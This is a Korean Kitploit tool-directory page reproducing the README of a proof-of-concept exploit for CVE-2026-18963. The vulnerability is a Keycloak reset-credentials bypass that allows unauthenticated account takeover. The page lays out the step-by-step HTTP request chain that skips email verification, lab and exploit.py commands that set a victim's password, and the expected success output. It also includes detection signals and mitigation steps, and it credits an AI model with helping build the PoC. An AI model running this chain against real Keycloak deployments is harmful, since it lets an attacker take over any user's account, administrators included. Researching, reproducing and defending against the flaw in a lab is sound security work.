Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-18963-keycloak — CVE-2026-18963에 대한 개념 증명 익스플로잇으로, 인증되지 않은 계정 탈취를 가능하게 하는 치명적인 Keycloak reset-credentials 우회 취약점입니다. 승인된 테스트를 위한 랩 설정, 탐지 지침 및 수정 절차를 포함합니다. | Kitploit
도구/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityAuthenticationLearning & Education
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

CVE-2026-18963에 대한 개념 증명 익스플로잇으로, 인증되지 않은 계정 탈취를 가능하게 하는 치명적인 Keycloak reset-credentials 우회 취약점입니다. 승인된 테스트를 위한 랩 설정, 탐지 지침 및 수정 절차를 포함합니다.

저장소 보기
203462개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-18963 — Keycloak 자격 증명 재설정 우회 → 계정 탈취

Keycloak의 자격 증명 재설정 흐름에서 발생하는 인증되지 않은 계정 탈취 취약점. 사용자 이름/이메일만 알고 있는 공격자가 인증 이메일을 받지 않고도 관리자를 포함한 모든 사용자의 비밀번호를 재설정할 수 있습니다.

CVE CVSS CWE License


⚠️ 면책 조항 — 윤리적 사용만 허용

이 개념 증명(proof of concept)은 오직 교육 목적, 방어적 연구, 탐지 엔지니어링, 그리고 승인된 보안 테스트를 위해 공개되었습니다.

  • 소유하고 있거나 명시적인 서면 승인을 받은 시스템에만 사용하십시오. 허가 없이 시스템에 접근하거나 수정하는 것은 불법이며 비윤리적입니다.
  • 이는 팀이 CVE-2026-18963을 이해하고, 탐지하며, 완화하는 데 도움을 주기 위한 방어적/교육적 자료이며, 제3자를 공격하기 위한 것이 아닙니다.
  • 작성자(red-darkin)는 이 코드로 수행된 어떠한 오용, 손해 또는 불법 행위에 대해서도 책임이나 법적 책임을 지지 않습니다. 사용 방식과 모든 관련 법률 준수에 대한 책임은 전적으로 귀하에게 있습니다.
  • 이 저장소를 다운로드하거나 사용함으로써 귀하는 이 약관에 동의하게 됩니다. 동의하지 않는 경우 사용하지 마십시오.

전체 성명은 DISCLAIMER.md를 참조하십시오.


요약

CVECVE-2026-18963
심각도치명적 — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
취약점 유형CWE-640 — 취약한 비밀번호 복구 메커니즘
영향 받는 버전Keycloak < 26.7.2 (업스트림). 또한 26.6.6 / 26.4.15 번들로 수정된 RH 빌드 스트림
수정 버전Keycloak 26.7.2 (PR #51844)
전제 조건영역(realm)에서 Forgot password(자격 증명 재설정) 활성화 — 기본값
영향모든 사용자(영역 관리자 포함)의 완전한 계정 탈취 → IdP 침해 + 측면 SSO 접근

동작 방식 — 연결된 두 가지 버그

비밀번호 재설정(reset-credentials) 흐름은 일반적으로 새 비밀번호를 설정하기 전에 계정 소유자에게 이메일로 전송된 링크를 클릭하도록 강제합니다. 두 가지 결함으로 인해 공격자는 이 검사를 완전히 우회할 수 있습니다:

  1. 범위가 지정되지 않은 "Try Another Way" 상태 — 인증자 선택기 핸들러는 AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" 노트를 실행 ID에 범위가 지정되지 않은 채 저장합니다. 흐름에 다시 진입하면 인증 세션이 혼란스럽거나 오래된 상태로 남게 됩니다.
  2. 이메일 단계에서 누락된 토큰 검사 — ResetCredentialEmail.action()은 ACTION_TOKEN_USER_ID를 검증하지 않고(즉, 이메일로 전송된 액션 토큰이 실제로 소비되었는지 확인하지 않고) context.success()를 호출합니다.

이 둘을 연결하면 이메일 없이도 인증 세션이 임의 사용자에 대해 UPDATE_PASSWORD 단계로 곧바로 진행됩니다.

GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

자세한 패치 diff는 docs/ROOTCAUSE.md를 참고하세요.


빠른 시작 (실습 환경)

Docker와 requests가 설치된 Python 3가 필요합니다.

# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

예상 꼬리:

[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

그런 다음 victim / Pwned-2026!로 로그인하여 탈취를 확인합니다.

부정 통제 (패치됨)

KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

사용법

python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

모든 HTTP 응답은 검사를 위해 ./dump/에 기록됩니다.


Burp를 통한 프록싱

Keycloak이 이미 8080을 사용하고 있으므로, Burp의 리스너를 다른 포트(예: 8081)로 지정하세요:

python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

Burp Repeater용 원시 요청 체인은 requests/burp-chain.txt에 있습니다.


탐지

동일한 인증 세션에서 이메일 인증이 선행되지 않은 비밀번호 변경을 찾으십시오:

  • 해당 세션에 대해 선행하는 VERIFY_EMAIL / EXECUTE_ACTION_TOKEN이 없는 UPDATE_PASSWORD 이벤트.
  • tryAnotherWay=on을 포함한 reset-credentials 요청의 연속 발생.
  • 동일한 tab_id에 대한 login-actions/reset-credentials의 다중 재진입.

완화 조치

  • Keycloak 26.7.2로 업그레이드(또는 수정된 RH 빌드 스트림) — 최우선 순위.
  • 임시 완화: Realm settings → Login → Forgot password = Off.
  • 패치 후: 관리자 자격 증명 교체, 재설정 후 강제 재로그인, 위의 탐지 신호에 대한 경보 설정.

참고 자료

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
  • Fix PR #51844 — https://github.com/keycloak/keycloak/pull/51844
  • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
  • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

데모

CVE-2026-18963 PoC

크레딧

  • red-darkin — 랩 재현, PoC 및 분석 문서 작성.
  • Claude (Anthropic) — 연구 및 PoC 개발 지원.

체인은 공개된 Keycloak 패치(PR #51844) 및 커뮤니티 분석 문서와 교차 검증되었습니다.

라이선스

MIT © red-darkin — 교육 및 승인된 테스트 용도로만 사용하십시오.

도구 다운로드